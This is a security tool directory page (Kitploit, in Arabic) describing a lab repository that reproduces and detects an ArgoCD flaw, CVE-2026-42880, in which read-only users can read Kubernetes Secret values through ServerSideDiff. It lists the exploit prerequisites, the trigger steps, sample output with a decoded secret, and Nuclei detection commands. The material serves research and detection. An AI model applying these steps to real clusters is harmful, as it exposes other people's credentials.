Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC_CVE-2026-42880 — تُعيد إنتاج CVE-2026-42880، وهي ثغرة أمنية حرجة في ArgoCD تكشف أسرار Kubernetes من خلال ServerSideDiff. تتضمن إعداد مختبر آلي، نصوص تشغيل، وقاالب كشف Nuclei لاختبار الأمان. | Kitploit
أدوات/GitHubGitHub/haerin-l/poc_cve-2026-42880
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمن السحابةسوء التكوينالتعلم والتعليممختبرات وتدريب عملي
GitHubhaerin-l/poc_cve-2026-42880

POC_CVE-2026-42880

تُعيد إنتاج CVE-2026-42880، وهي ثغرة أمنية حرجة في ArgoCD تكشف أسرار Kubernetes من خلال ServerSideDiff. تتضمن إعداد مختبر آلي، نصوص تشغيل، وقاالب كشف Nuclei لاختبار الأمان.

عرض المستودع
2منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42880 — كشف أسرار ArgoCD عبر ServerSideDiff

بيئة معملية لإعادة إنتاج واكتشاف CVE-2026-42880، وهي ثغرة أمنية حرجة في Argo CD حيث يعرّض معالج gRPC الخاص بـ ServerSideDiff بيانات Kubernetes Secret لمستخدمين بصلاحية القراءة فقط.


نظرة عامة على الثغرة

الحقلالتفاصيل
CVE IDCVE-2026-42880
GHSAGHSA-3v3m-wc6v-x4x3
CVSS9.6 (حرجة) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
الإصدارات المتأثرةArgoCD 3.2.0–3.2.10، 3.3.0–3.3.8
الإصدارات المُصحَّحة3.2.11، 3.3.9+
CWECWE-200, CWE-212

السبب الجذري

يستدعي serverSideDiff() في معالج gRPC الخاص بـ ArgoCD عملية التشغيل الجاف لـ Kubernetes SSA ويعيد predictedLive دون استدعاء hideSecretData()، مما يعرّض قيم Secret المشفرة بـ base64 في الرد.

root@kitploit:~
Vulnerable path (v3.2.0):
argocd app diff --server-side-diff
  → gRPC ServerSideDiff handler
    → Kubernetes SSA dry-run (merges ALL field managers)
      ← predictedLive returned (includes external-controller's data)
        ❌ hideSecretData() NOT called → real Secret values exposed

Patched path (v3.2.11):
  ...same SSA dry-run...
    ✅ HideSecretData() called → values replaced with ++++

المتطلبات المسبقة للهجوم

يجب تحقيق جميع الشروط الثلاثة في وقت واحد:

#الشرطالتفاصيل
1إصدار ArgoCD المُعرَّض للخطر3.2.0–3.2.10 أو 3.3.0–3.3.8
2تعليق التطبيقargocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
3مدير حقل خارجي على بيانات Secretحقول data في Secret مملوكة لمدير غير ArgoCD (مثل External Secrets Operator أو Helm أو kubectl)

فقط صلاحية role:readonly مطلوبة — ولا حاجة لأي صلاحيات كتابة.


بنية المعمل

root@kitploit:~
Host Machine
├── localhost:30080 ──→ Kind Cluster: cve-vuln   (ArgoCD v3.2.0  ⚠ VULNERABLE)
│                         └── ns: production
│                              ├── Secret: db-credentials
│                              │    metadata → argocd-controller (synced from Git)
│                              │    data.*  → external-controller ⚠ (injected separately)
│                              └── Secret: api-credentials (same setup)
│
├── localhost:30081 ──→ Kind Cluster: cve-patched (ArgoCD v3.2.11 ✓ PATCHED)
│                         └── (identical config — only ArgoCD version differs)
│
└── localhost:3010  ──→ Docker Container: cve-lab-gitea
                          └── repo: gitadmin/manifests.git
                               └── secret.yaml (no data field — CVE prerequisite)

لماذا يُعد تقسيم مدير الحقل مهماً

root@kitploit:~
db-credentials Secret (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│  metadata.*  → argocd-controller   (ArgoCD syncs from Git)   │
│  data.*      → external-controller (injected by setup script)│
└──────────────────────────────────────────────────────────────┘

SSA dry-run: Kubernetes merges both managers' fields into predictedLive
  → ArgoCD does NOT own data → data is not masked by ArgoCD
  → v3.2.0 returns predictedLive without hideSecretData() → EXPOSED

المتطلبات الأساسية

الأداةالتثبيت
kindbrew install kind
kubectlbrew install kubectl
Docker Desktopdocker.com
argocd CLIbrew install argocd
nucleibrew install nuclei
curl، jq، gitمثبت مسبقاً على macOS أو brew install jq

متطلبات الموارد: 8 جيجابايت+ من ذاكرة الوصول العشوائي، 15 جيجابايت+ من القرص الصلب، المنافذ 30080 / 30081 / 3010 متاحة.


طريقة التشغيل

الخطوة 1 — إعداد البيئة المُعرَّضة (ArgoCD v3.2.0)

root@kitploit:~
bash scripts/01-setup-vuln.sh
# أو: make setup-vuln

تستغرق حوالي 10 دقائق. عند الانتهاء:

root@kitploit:~
══════════════════════════════════════════════════════
 Vulnerable ArgoCD lab ready!
══════════════════════════════════════════════════════
 ArgoCD UI   : http://localhost:30080
 Admin pass  : <auto-generated>
 Viewer pass : viewerpass123
 Token file  : .vuln-viewer-token
══════════════════════════════════════════════════════

الخطوة 2 — إعداد البيئة المُصحَّحة للمقارنة (اختياري)

root@kitploit:~
bash scripts/02-setup-patched.sh
# أو: make setup-patched

الخطوة 3 — تشغيل الثغرة

root@kitploit:~
bash scripts/03-trigger-cve.sh
# أو: make trigger

المخرجات المتوقعة — الإصدار المُعرَّض (v3.2.0):

root@kitploit:~
===== /Secret production/db-credentials ======
<   db_password: ++++++++                          ← حالة حية مُخبّأة
---
>   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=  ← predictedLive مكشوف!

[EXPOSED] decoded: Sup3rS3cr3tDB!Pass#2026
⚠  RESULT: SECRET DATA EXPOSED — VULNERABLE

المخرجات المتوقعة — الإصدار المُصحَّح (v3.2.11):

root@kitploit:~
>   db_password: ++++++++   ← مُخبّأ
✓  RESULT: no unmasked data in predictedLive — PATCHED

الخطوة 4 — الكشف عبر Nuclei

root@kitploit:~
# الكتلة المُعرَّضة ← يجب أن تُنتج نتيجة [حرجة]
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30080 \
  -var username=viewer \
  -var password=viewerpass123

# الكتلة المُصحَّحة ← يجب ألا تُنتج نتائج
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30081 \
  -var username=viewer \
  -var password=viewerpass123

الخطوة 5 — التفكيك

root@kitploit:~
bash scripts/99-teardown.sh
# أو: make teardown

بنية المجلدات

root@kitploit:~
argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md              # دليل إعداد المعمل + استكشاف الأخطاء (English)
├── VULNERABILITY_ANALYSIS.md       # تحليل الثغرة على مستوى الكود (English)
├── Nuclei_Template_Report.md       # تصميم قالب Nuclei ونتائج الاختبار (English)
├── Makefile
│
├── REPORT/                         # تقارير باللغة الكورية
│   ├── LAB_REPORT_KR.md
│   ├── Nuclei_Template_Report_KR.md
│   └── Vulnerability_Analysis_KR.md
│
├── kind/
│   ├── cluster-vuln.yaml           # كتلة Kind: cve-vuln    (منفذ 30080)
│   └── cluster-patched.yaml        # كتلة Kind: cve-patched (منفذ 30081)
│
├── git-manifests/
│   └── secret.yaml                 # Secret بدون حقل data (شرط مسبق للثغرة)
│
├── manifests/
│   ├── application.yaml            # تطبيق ArgoCD مع التعليق المُعرَّض
│   ├── argocd-cm-patch.yaml        # ConfigMap: تعطيل TLS، حساب viewer، ServerSideDiff
│   ├── argocd-rbac-patch.yaml      # RBAC: viewer → role:readonly
│   ├── argocd-nodeport.yaml        # NodePort 30080 (الكتلة المُعرَّضة)
│   └── argocd-nodeport-patched.yaml# NodePort 30081 (الكتلة المُصحَّحة)
│
├── nuclei/
│   └── CVE-2026-42880.yaml         # قالب كشف Nuclei
│
└── scripts/
    ├── 01-setup-vuln.sh            # إعداد آلي كامل: البيئة المُعرَّضة
    ├── 02-setup-patched.sh         # إعداد آلي كامل: البيئة المُصحَّحة
    ├── 03-trigger-cve.sh           # تشغيل الثغرة + مقارنة الكتلتين
    └── 99-teardown.sh              # إزالة جميع موارد المعمل

منطق كشف قالب Nuclei

يستخدم القالب سلسلة HTTP من 4 خطوات للتحقق من جميع المتطلبات المسبقة للثغرة دون تفعيل استخراج Secret الفعلي:

root@kitploit:~
Step 1  GET /api/version
        → extract argocd_version (no auth required)

Step 2  POST /api/v1/session
        → authenticate as viewer (role:readonly), extract token

Step 3  GET /api/v1/applications
        → find app with ServerSideDiff=true,IncludeMutationWebhook=true

Step 4  GET /api/v1/applications/{app}/managed-resources
        → verify: version in range + Secret present + f:data owned by external manager
        → FINDING reported only if all 5 matchers pass (AND condition)

المراجع

  • NVD — CVE-2026-42880
  • GHSA-3v3m-wc6v-x4x3
  • Patch PR #27598
  • ArgoCD Server-Side Diff docs
  • Kubernetes Server-Side Apply

تحذير: جميع بيانات الاعتماد في هذا المعمل هي بيانات اختبار وهمية لأغراض البحث الأمني فقط. لا تستخدمها أبداً في الإنتاج.

تنزيل الأداة